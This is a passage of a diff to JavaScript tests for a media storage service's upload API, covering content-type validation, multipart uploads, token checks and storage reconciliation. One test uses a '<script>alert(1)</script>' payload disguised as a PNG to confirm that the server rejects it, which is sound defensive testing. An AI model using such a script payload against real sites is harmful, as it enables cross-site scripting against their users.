assert.strictEqual(r.status, 415, 'no SVG where images are served inline');++ r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'image/png' } });++ const fake = r.body.id;++ r = await call('PUT', `${O}/${fake}/content`, { raw: Buffer.from('<html><script>alert(1)</script></html>') });++ assert.strictEqual(r.status, 200);++ r = await call('POST', `${O}/${fake}/complete`);++ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'bytes that are not the declared image');++ assert.strictEqual((await model.getObject(fake)).lifecycle_status, 'uploading', 'the object stays uploading');++ r = await call('POST', O, { body: { kind: 'screenshot' } });++ r = await call('PUT', `${O}/${r.body.id}/content`, { raw: Buffer.from('<svg/>'), headers: { 'content-type': 'image/svg+xml' } });++ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type'], 'an undeclared type comes from the PUT and is checked too');++ r = await call('POST', O, { body: { kind: 'file', mime_type: 'image/gif' } });++ const gifId = r.body.id;++ await call('PUT', `${O}/${gifId}/content`, { raw: Buffer.from('%PDF-1.4 not a gif') });++ r = await call('POST', `${O}/${gifId}/complete`);++ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'inline-served types are checked for any kind');++ r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/zip' } });++ const zipId = r.body.id;++ await call('PUT', `${O}/${zipId}/content`, { raw: Buffer.from('anything at all') });++ assert.strictEqual((await call('POST', `${O}/${zipId}/complete`)).status, 200, 'attachments are taken as declared');++ console.log('✅ content types: kind rules at init and PUT, byte checks at complete for inline-served types');-- // ── 3. Multipart ──-- const PART = 512 * 1024;-- const big = crypto.randomBytes(PART * 2 + 251424);-- r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length } });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'over the single-part limit without multipart');-- assert.match(r.body.detail, /multipart: true/);-- r = await call('POST', O, { body: { kind: 'file', size_bytes: 5 * 1024 * 1024, multipart: true } });-- assert.strictEqual(r.status, 413, 'MEDIA_MULTIPART_MAX_MB');-- r = await call('POST', '/api/v2/tiny/objects', { bearer: 'tiny-key', body: { kind: 'file', size_bytes: 2 * 1024 * 1024, multipart: true, part_size: PART } });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the tenant quota at init');-- r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length, multipart: true, part_size: PART, filename: 'big.bin', content_hash: sha(big) } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const mp = r.body;-- const up = mp.upload.multipart;-- assert.deepStrictEqual([mp.upload.method, mp.upload.url, up.parts_expected, up.part_size, up.total_size, up.status], ['multipart', null, 3, PART, big.length, 'active']);-- assert.ok(/^mup_/.test(up.upload_id) && /^mp1\./.test(up.token));-- const partUrl = (n) => local(up.part_url_template.replace('{part_number}', String(n)));-- const slice = (n) => big.subarray((n - 1) * PART, Math.min(big.length, n * PART));++ // ── 3. Multipart ──++ const PART = 512 * 1024;++ const big = crypto.randomBytes(PART * 2 + 251424);++ r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length } });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'over the single-part limit without multipart');++ assert.match(r.body.detail, /multipart: true/);++ r = await call('POST', O, { body: { kind: 'file', size_bytes: 5 * 1024 * 1024, multipart: true } });++ assert.strictEqual(r.status, 413, 'MEDIA_MULTIPART_MAX_MB');++ r = await call('POST', '/api/v2/tiny/objects', { bearer: 'tiny-key', body: { kind: 'file', size_bytes: 2 * 1024 * 1024, multipart: true, part_size: PART } });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the tenant quota at init');++ r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length, multipart: true, part_size: PART, filename: 'big.bin', content_hash: sha(big) } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const mp = r.body;++ const up = mp.upload.multipart;++ assert.deepStrictEqual([mp.upload.method, mp.upload.url, up.parts_expected, up.part_size, up.total_size, up.status], ['multipart', null, 3, PART, big.length, 'active']);++ assert.ok(/^mup_/.test(up.upload_id) && /^mp1\./.test(up.token));++ const partUrl = (n) => local(up.part_url_template.replace('{part_number}', String(n)));++ const slice = (n) => big.subarray((n - 1) * PART, Math.min(big.length, n * PART));-- r = await call('PUT', partUrl(1), { bearer: null, raw: slice(1) });-- assert.deepStrictEqual([r.status, r.body.part_number, r.body.sha256], [200, 1, sha(slice(1))]);-- r = await call('PUT', `${O}/${mp.id}/content`, { raw: big.subarray(0, 10) });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'no single PUT for a multipart-sized object');-- r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2).subarray(0, 1000) });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_size_mismatch'], 'every part has an exact size');-- r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(Buffer.from('other')) } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch']);-- r = await call('PUT', partUrl(4), { bearer: null, raw: slice(3) });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.invalid_part']);-- r = await call('PUT', partUrl(2).replace(/token=[^&]+/, 'token=mp1.99999999999.forged'), { bearer: null, raw: slice(2) });-- assert.strictEqual(r.status, 401);++ r = await call('PUT', partUrl(1), { bearer: null, raw: slice(1) });++ assert.deepStrictEqual([r.status, r.body.part_number, r.body.sha256], [200, 1, sha(slice(1))]);++ r = await call('PUT', `${O}/${mp.id}/content`, { raw: big.subarray(0, 10) });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'no single PUT for a multipart-sized object');++ r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2).subarray(0, 1000) });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_size_mismatch'], 'every part has an exact size');++ r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(Buffer.from('other')) } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch']);++ r = await call('PUT', partUrl(4), { bearer: null, raw: slice(3) });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.invalid_part']);++ r = await call('PUT', partUrl(2).replace(/token=[^&]+/, 'token=mp1.99999999999.forged'), { bearer: null, raw: slice(2) });++ assert.strictEqual(r.status, 401);-- // A dropped connection mid-part: nothing of it is kept; the session says what is missing.-- await new Promise((resolve) => {-- const u = new URL(partUrl(2));-- const req = http.request({ host: u.hostname, port: u.port, path: u.pathname + u.search, method: 'PUT', headers: { 'content-length': slice(2).length } });-- req.on('error', () => resolve());-- req.write(slice(2).subarray(0, 200000));-- setTimeout(() => { req.destroy(); setTimeout(resolve, 150); }, 100);-- });-- r = await call('GET', local(up.status_url), { bearer: null });-- assert.deepStrictEqual([r.status, r.body.parts.map((p) => p.part_number), r.body.missing, r.body.received_bytes], [200, [1], [2, 3], PART]);-- assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), ['1'], 'no half part on disk');-- // Resume: send what is missing (part 3 with the app key instead of the session token).-- r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(slice(2)) } });-- assert.strictEqual(r.status, 200);-- r = await call('PUT', `${O}/${mp.id}/multipart/${up.upload_id}/parts/3`, { raw: slice(3) });-- assert.strictEqual(r.status, 200, 'the tenant credential works as well as the session token');-- r = await call('GET', `${O}/${mp.id}/multipart/${up.upload_id}`);-- assert.deepStrictEqual([r.body.missing, r.body.received_bytes], [[], big.length]);++ // A dropped connection mid-part: nothing of it is kept; the session says what is missing.++ await new Promise((resolve) => {++ const u = new URL(partUrl(2));++ const req = http.request({ host: u.hostname, port: u.port, path: u.pathname + u.search, method: 'PUT', headers: { 'content-length': slice(2).length } });++ req.on('error', () => resolve());++ req.write(slice(2).subarray(0, 200000));++ setTimeout(() => { req.destroy(); setTimeout(resolve, 150); }, 100);++ });++ r = await call('GET', local(up.status_url), { bearer: null });++ assert.deepStrictEqual([r.status, r.body.parts.map((p) => p.part_number), r.body.missing, r.body.received_bytes], [200, [1], [2, 3], PART]);++ assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), ['1'], 'no half part on disk');++ // Resume: send what is missing (part 3 with the app key instead of the session token).++ r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(slice(2)) } });++ assert.strictEqual(r.status, 200);++ r = await call('PUT', `${O}/${mp.id}/multipart/${up.upload_id}/parts/3`, { raw: slice(3) });++ assert.strictEqual(r.status, 200, 'the tenant credential works as well as the session token');++ r = await call('GET', `${O}/${mp.id}/multipart/${up.upload_id}`);++ assert.deepStrictEqual([r.body.missing, r.body.received_bytes], [[], big.length]);-- r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [{ part_number: 1, sha256: sha(slice(2)) }] } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch'], "the client's part list must match");-- assert.strictEqual(multipart.getSession(up.upload_id).status, 'active', 'and the session stays open');-- r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [1, 2, 3].map((n) => ({ part_number: n, sha256: sha(slice(n)) })) } });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- assert.deepStrictEqual([r.body.lifecycle_status, r.body.size_bytes, r.body.content_hash], ['ready', big.length, sha(big)]);-- assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), 'parts removed');-- assert.strictEqual(multipart.getSession(up.upload_id).status, 'completed');-- assert.deepStrictEqual(fs.readFileSync(model.objectFilePath(model.getObject(mp.id))), big, 'the assembled object is the original');-- r = await call('GET', `${O}/${mp.id}/download`);-- r = await call('GET', local(r.body.url), { bearer: null });-- assert.deepStrictEqual([r.status, sha(Buffer.from(await (await fetch(local((await call('GET', `${O}/${mp.id}/download`)).body.url))).arrayBuffer()))], [200, sha(big)]);-- r = await call('POST', local(up.complete_url), { bearer: null });-- assert.deepStrictEqual([r.status, r.body.id, r.body.lifecycle_status], [200, mp.id, 'ready'], 'completing again (a lost answer) returns the object');-- r = await call('POST', `${O}/${mp.id}/complete`);-- assert.strictEqual(r.status, 200, 'and so does the single-part complete');-- console.log('✅ multipart: exact parts, sha256 per part, resumable after a dropped connection, assembled and verified');++ r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [{ part_number: 1, sha256: sha(slice(2)) }] } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch'], "the client's part list must match");++ assert.strictEqual((await multipart.getSession(up.upload_id)).status, 'active', 'and the session stays open');++ r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [1, 2, 3].map((n) => ({ part_number: n, sha256: sha(slice(n)) })) } });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ assert.deepStrictEqual([r.body.lifecycle_status, r.body.size_bytes, r.body.content_hash], ['ready', big.length, sha(big)]);++ assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), 'parts removed');++ assert.strictEqual((await multipart.getSession(up.upload_id)).status, 'completed');++ assert.deepStrictEqual(fs.readFileSync(model.objectFilePath(await model.getObject(mp.id))), big, 'the assembled object is the original');++ r = await call('GET', `${O}/${mp.id}/download`);++ r = await call('GET', local(r.body.url), { bearer: null });++ assert.deepStrictEqual([r.status, sha(Buffer.from(await (await fetch(local((await call('GET', `${O}/${mp.id}/download`)).body.url))).arrayBuffer()))], [200, sha(big)]);++ r = await call('POST', local(up.complete_url), { bearer: null });++ assert.deepStrictEqual([r.status, r.body.id, r.body.lifecycle_status], [200, mp.id, 'ready'], 'completing again (a lost answer) returns the object');++ r = await call('POST', `${O}/${mp.id}/complete`);++ assert.strictEqual(r.status, 200, 'and so does the single-part complete');++ console.log('✅ multipart: exact parts, sha256 per part, resumable after a dropped connection, assembled and verified');-- // Declare the size later; abort; a session for another object does not open this one; expiry.-- r = await call('POST', O, { body: { kind: 'file' } });-- const later = r.body.id;-- r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'a size is needed');-- r = await call('POST', `${O}/${later}/multipart`, { body: { size_bytes: PART + 10, part_size: PART } });-- assert.strictEqual(r.status, 201);-- const s2 = r.body;-- r = await call('PUT', `${O}/${later}/content`, { raw: Buffer.alloc(PART + 10) });-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.multipart_active']);-- r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')).replace(later, a.id).replace(s2.upload_id, up.upload_id), { bearer: null, raw: Buffer.alloc(PART) });-- assert.strictEqual(r.status, 401, "a session token opens only its own session's object");-- r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });-- assert.strictEqual(r.status, 200);-- r = await call('DELETE', local(s2.abort_url), { bearer: null });-- assert.deepStrictEqual([r.status, r.body.status], [200, 'aborted']);-- assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', s2.upload_id)));-- assert.strictEqual(model.getObject(later).lifecycle_status, 'uploading', 'the object can be sent again');-- r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '2')), { bearer: null, raw: Buffer.alloc(10) });-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.not_active']);-- r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });-- const s3 = r.body;-- await call('PUT', local(s3.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });-- db.run("UPDATE media_uploads SET expires_at = datetime('now', '-1 minute') WHERE id = ?", [s3.upload_id]);-- fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.parts', 'mup_orphan'), { recursive: true });-- const rec = await require('../server/objects/reconcile').reconcile({ appId: 'live' });-- assert.deepStrictEqual(rec.issues.incomplete_multipart.items.map((i) => [i.upload_id, i.parts_received]), [[s3.upload_id, 1]], 'reconciliation reports an open session past its expiry');-- assert.deepStrictEqual(multipart.purgeExpired(), { expired: 1, orphan_dirs: 1 });-- assert.strictEqual(multipart.getSession(s3.upload_id).status, 'expired');-- assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts')), [], 'expired and orphan parts removed');-- console.log('✅ multipart: size declared later, abort, per-session tokens, single PUT refused while open, expiry purge');++ // Declare the size later; abort; a session for another object does not open this one; expiry.++ r = await call('POST', O, { body: { kind: 'file' } });++ const later = r.body.id;++ r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'a size is needed');++ r = await call('POST', `${O}/${later}/multipart`, { body: { size_bytes: PART + 10, part_size: PART } });++ assert.strictEqual(r.status, 201);++ const s2 = r.body;++ r = await call('PUT', `${O}/${later}/content`, { raw: Buffer.alloc(PART + 10) });++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.multipart_active']);++ r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')).replace(later, a.id).replace(s2.upload_id, up.upload_id), { bearer: null, raw: Buffer.alloc(PART) });++ assert.strictEqual(r.status, 401, "a session token opens only its own session's object");++ r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });++ assert.strictEqual(r.status, 200);++ r = await call('DELETE', local(s2.abort_url), { bearer: null });++ assert.deepStrictEqual([r.status, r.body.status], [200, 'aborted']);++ assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', s2.upload_id)));++ assert.strictEqual((await model.getObject(later)).lifecycle_status, 'uploading', 'the object can be sent again');++ r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '2')), { bearer: null, raw: Buffer.alloc(10) });++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.not_active']);++ r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });++ const s3 = r.body;++ await call('PUT', local(s3.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });++ await db.run("UPDATE media_uploads SET expires_at = datetime('now', '-1 minute') WHERE id = ?", [s3.upload_id]);++ fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.parts', 'mup_orphan'), { recursive: true });++ const rec = await require('../server/objects/reconcile').reconcile({ appId: 'live' });++ assert.deepStrictEqual(rec.issues.incomplete_multipart.items.map((i) => [i.upload_id, i.parts_received]), [[s3.upload_id, 1]], 'reconciliation reports an open session past its expiry');++ assert.deepStrictEqual(await multipart.purgeExpired(), { expired: 1, orphan_dirs: 1 });++ assert.strictEqual((await multipart.getSession(s3.upload_id)).status, 'expired');++ assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts')), [], 'expired and orphan parts removed');++ console.log('✅ multipart: size declared later, abort, per-session tokens, single PUT refused while open, expiry purge');-- server.close();-- console.log('\nobjects multipart + presigned: all checks passed');-- process.exit(0);++ server.close();++ console.log('\nobjects multipart + presigned: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,135 +8,134 @@ const fs = require('fs');const os = require('os');const path = require('path');const crypto = require('crypto');--const { execFileSync } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const env = {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',-- MEDIA_PUBLIC_OBJECT_TARGET_MB: '1', MEDIA_PUBLIC_OBJECT_WARN_MB: '2', MEDIA_PUBLIC_OBJECT_MAX_MB: '3',--};--Object.assign(process.env, env);++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const env = {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',++ MEDIA_PUBLIC_OBJECT_TARGET_MB: '1', MEDIA_PUBLIC_OBJECT_WARN_MB: '2', MEDIA_PUBLIC_OBJECT_MAX_MB: '3',++ };++ Object.assign(process.env, env);--const db = require('../server/db/database');--const model = require('../server/objects/model');--const { reconcile, summarize } = require('../server/objects/reconcile');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const { reconcile, summarize } = require('../server/objects/reconcile');--const MB = 1024 * 1024;--const d = db.getDb();--const write = (p, content) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };--const V = d.prepare(`INSERT INTO vods (id, app_id, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key)-- VALUES (?, 'live', ?, ?, 60, 'public', 1, ?, ?)`);++ const MB = 1024 * 1024;++ const d = db.getDb();++ const write = (p, content) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };++ const V = d.prepare(`INSERT INTO vods (id, app_id, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', ?, ?, 60, 'public', 1, ?, ?) RETURNING id`);--// Rows: a healthy local vod; an offloaded one whose B2 copy is fine; one whose B2 copy is gone but--// R2 still has it; one whose B2 copy has the wrong size; a local vod whose file vanished.--V.run(1, write(path.join(env.VOD_PATH, 'a.webm'), Buffer.alloc(100)), 100, 'local', null);--V.run(2, '/gone/b.webm', 200, 'b2', 'vods/b.webm');--V.run(3, '/gone/c.webm', 300, 'r2', 'vods/c.webm');--V.run(4, '/gone/d.webm', 400, 'b2', 'vods/d.webm');--V.run(5, write(path.join(env.VOD_PATH, 'e.webm'), Buffer.alloc(10)), 10, 'local', null);--const fileBytes = Buffer.from('file-bytes');--write(path.join(env.FILES_PATH, 'live', 'k1-f.bin'), fileBytes);--d.prepare("INSERT INTO files (key, app_id, size, mime, sha256) VALUES ('k1-f.bin', 'live', ?, 'application/octet-stream', ?)").run(fileBytes.length, crypto.createHash('sha256').update(fileBytes).digest('hex'));++ // Rows: a healthy local vod; an offloaded one whose B2 copy is fine; one whose B2 copy is gone but++ // R2 still has it; one whose B2 copy has the wrong size; a local vod whose file vanished.++ await V.run(1, write(path.join(env.VOD_PATH, 'a.webm'), Buffer.alloc(100)), 100, 'local', null);++ await V.run(2, '/gone/b.webm', 200, 'b2', 'vods/b.webm');++ await V.run(3, '/gone/c.webm', 300, 'r2', 'vods/c.webm');++ await V.run(4, '/gone/d.webm', 400, 'b2', 'vods/d.webm');++ await V.run(5, write(path.join(env.VOD_PATH, 'e.webm'), Buffer.alloc(10)), 10, 'local', null);++ const fileBytes = Buffer.from('file-bytes');++ write(path.join(env.FILES_PATH, 'live', 'k1-f.bin'), fileBytes);++ await d.prepare("INSERT INTO files (key, app_id, size, mime, sha256) VALUES ('k1-f.bin', 'live', ?, 'application/octet-stream', ?)").run(fileBytes.length, crypto.createHash('sha256').update(fileBytes).digest('hex'));--// Scripts: a dry-run backfill reports and writes nothing.--const run = (script, args = []) => {-- try { return { code: 0, out: execFileSync(process.execPath, [path.join(__dirname, '..', 'scripts', script), ...args], { env: { ...process.env, ...env }, encoding: 'utf8' }) }; }-- catch (e) { return { code: e.status, out: String(e.stdout) }; }--};--const dry = JSON.parse(run('backfill-objects.js', ['--dry-run', '--json']).out);--assert.deepStrictEqual([dry.dry_run, dry.counts.vod.created, dry.counts.file.created], [true, 5, 1]);--assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_objects').get().c, 0, 'dry-run script wrote nothing');--const real = run('backfill-objects.js');--assert.strictEqual(real.code, 0, real.out);--assert.match(real.out, /vod 5\+\/0~\/0 skipped/);--assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_objects').get().c, 6);--console.log('✅ backfill script: --dry-run reports only; a real run projects');++ // The backfill (server/objects/backfill.js; the service runs it at boot): a dry run reports and writes nothing.++ const { runScript } = require('./helpers/run-script');++ const run = async (script, args = []) => await runScript(path.join(__dirname, '..', 'scripts', script), args, { env });++ const bf = require('../server/objects/backfill');++ const dry = await bf.backfill({ dryRun: true });++ assert.deepStrictEqual([dry.dry_run, dry.counts.vod.created, dry.counts.file.created], [true, 5, 1]);++ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c, 0, 'a dry run wrote nothing');++ const real = await bf.backfill();++ assert.match(bf.summarize(real), /vod 5\+\/0~\/0 skipped/);++ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c, 6);++ console.log('✅ backfill: a dry run reports only; a real run projects');--fs.unlinkSync(path.join(env.VOD_PATH, 'e.webm')); // vod 5 loses its file after backfill--const objId = (vodId) => d.prepare('SELECT object_id FROM vods WHERE id = ?').get(vodId).object_id;--// Anomalies the reconciler must notice:--d.prepare("INSERT INTO media_locations (object_id, provider, key, state) VALUES ('med_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'local', '/nowhere', 'present')").run(); // orphan location--db.run("UPDATE media_objects SET size_bytes = 999 WHERE id = ?", [objId(1)]); // local size mismatch--db.run("UPDATE media_objects SET content_hash = ? WHERE legacy_ref = 'legacy:live:file:k1-f.bin'", ['0'.repeat(64)]); // hash mismatch--db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [objId(2)]); // deleted, but /v/2 still serves it--d.prepare("INSERT INTO clips (id, app_id, file_path, status) VALUES (9, 'live', '/x.webm', 'ready')").run(); // row with no object--const ready = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready' }); // ready object, no location++ fs.unlinkSync(path.join(env.VOD_PATH, 'e.webm')); // vod 5 loses its file after backfill++ const objId = async (vodId) => (await d.prepare('SELECT object_id FROM vods WHERE id = ?').get(vodId)).object_id;++ // Anomalies the reconciler must notice:++ await d.prepare("INSERT INTO media_locations (object_id, provider, key, state) VALUES ('med_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'local', '/nowhere', 'present') RETURNING id").run(); // orphan location++ await db.run("UPDATE media_objects SET size_bytes = 999 WHERE id = ?", [await objId(1)]); // local size mismatch++ await db.run("UPDATE media_objects SET content_hash = ? WHERE legacy_ref = 'legacy:live:file:k1-f.bin'", ['0'.repeat(64)]); // hash mismatch++ await db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [await objId(2)]); // deleted, but /v/2 still serves it++ await d.prepare("INSERT INTO clips (id, app_id, file_path, status) OVERRIDING SYSTEM VALUE VALUES (9, 'live', '/x.webm', 'ready') RETURNING id").run(); // row with no object++ const ready = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready' }); // ready object, no location--// Fake provider: key → size (absent = 404). B2 lost c.webm (R2 still has it) and holds a wrong-size d.webm.--const bucket = { b2: { 'vods/b.webm': 200, 'vods/d.webm': 12345 }, r2: { 'vods/c.webm': 300 } };--const heads = [];--const fakeHead = async (provider, key) => { heads.push(`${provider}:${key}`); const s = bucket[provider][key]; return s === undefined ? null : { size: s, etag: 'x' }; };++ // Fake provider: key → size (absent = 404). B2 lost c.webm (R2 still has it) and holds a wrong-size d.webm.++ const bucket = { b2: { 'vods/b.webm': 200, 'vods/d.webm': 12345 }, r2: { 'vods/c.webm': 300 } };++ const heads = [];++ const fakeHead = async (provider, key) => { heads.push(`${provider}:${key}`); const s = bucket[provider][key]; return s === undefined ? null : { size: s, etag: 'x' }; };--(async () => {-- const snapshot = () => JSON.stringify(d.prepare('SELECT * FROM media_locations ORDER BY id').all());-- const before = snapshot();-- const ro = await reconcile({ head: fakeHead, hash: true });-- assert.strictEqual(snapshot(), before, 'default mode writes nothing');-- assert.strictEqual(heads.length, 0, 'default mode calls no provider');-- const count = (rep, k) => rep.issues[k].count;-- assert.strictEqual(count(ro, 'orphan_location'), 1);-- assert.strictEqual(count(ro, 'missing_local_file'), 1);-- assert.strictEqual(ro.issues.missing_local_file.items[0].legacy_ref, 'legacy:live:vod:5');-- assert.strictEqual(count(ro, 'size_mismatch'), 1, 'local size mismatch');-- assert.strictEqual(count(ro, 'hash_mismatch'), 1);-- assert.strictEqual(count(ro, 'deleted_publicly_reachable'), 1);-- assert.strictEqual(ro.issues.deleted_publicly_reachable.items[0].table, 'vods');-- assert.strictEqual(count(ro, 'missing_projection'), 1);-- assert.deepStrictEqual(ro.issues.missing_projection.items[0], { table: 'clips', id: 9 });-- assert.strictEqual(count(ro, 'no_canonical_location'), 1);-- assert.strictEqual(ro.issues.no_canonical_location.items[0].object_id, ready);-- assert.strictEqual(count(ro, 'canonical_missing_replica_present'), 0, 'remote copies are unverified until --verify');-- assert.strictEqual(ro.counts.remote_unverified, 4, 'b2 ×3 + r2 ×1 pending');-- assert.ok(summarize(ro).includes('orphan_location: 1'));-- console.log('✅ read-only pass: local checks, orphans, projections, deleted-but-served — no writes, no provider calls');++ (async () => {++ const snapshot = async () => JSON.stringify(await d.prepare('SELECT * FROM media_locations ORDER BY id').all());++ const before = await snapshot();++ const ro = await reconcile({ head: fakeHead, hash: true });++ assert.strictEqual(await snapshot(), before, 'default mode writes nothing');++ assert.strictEqual(heads.length, 0, 'default mode calls no provider');++ const count = (rep, k) => rep.issues[k].count;++ assert.strictEqual(count(ro, 'orphan_location'), 1);++ assert.strictEqual(count(ro, 'missing_local_file'), 1);++ assert.strictEqual(ro.issues.missing_local_file.items[0].legacy_ref, 'legacy:live:vod:5');++ assert.strictEqual(count(ro, 'size_mismatch'), 1, 'local size mismatch');++ assert.strictEqual(count(ro, 'hash_mismatch'), 1);++ assert.strictEqual(count(ro, 'deleted_publicly_reachable'), 1);++ assert.strictEqual(ro.issues.deleted_publicly_reachable.items[0].table, 'vods');++ assert.strictEqual(count(ro, 'missing_projection'), 1);++ assert.deepStrictEqual(ro.issues.missing_projection.items[0], { table: 'clips', id: 9 });++ assert.strictEqual(count(ro, 'no_canonical_location'), 1);++ assert.strictEqual(ro.issues.no_canonical_location.items[0].object_id, ready);++ assert.strictEqual(count(ro, 'canonical_missing_replica_present'), 0, 'remote copies are unverified until --verify');++ assert.strictEqual(ro.counts.remote_unverified, 4, 'b2 ×3 + r2 ×1 pending');++ assert.ok(summarize(ro).includes('orphan_location: 1'));++ console.log('✅ read-only pass: local checks, orphans, projections, deleted-but-served — no writes, no provider calls');-- const v = await reconcile({ verify: true, head: fakeHead });-- assert.strictEqual(heads.length, 4, 'every remote location HEADed once');-- assert.strictEqual(count(v, 'remote_missing'), 1, 'vod 3 canonical B2 copy is gone');-- assert.strictEqual(v.issues.remote_missing.items[0].key, 'vods/c.webm');-- assert.strictEqual(count(v, 'canonical_missing_replica_present'), 1);-- assert.deepStrictEqual(v.issues.canonical_missing_replica_present.items[0].present, ['r2'], 'the R2 cache still has it');-- assert.strictEqual(count(v, 'size_mismatch'), 2, 'local vod 1 + remote vod 4');-- assert.strictEqual(count(v, 'no_present_copy'), 2, 'vod 4 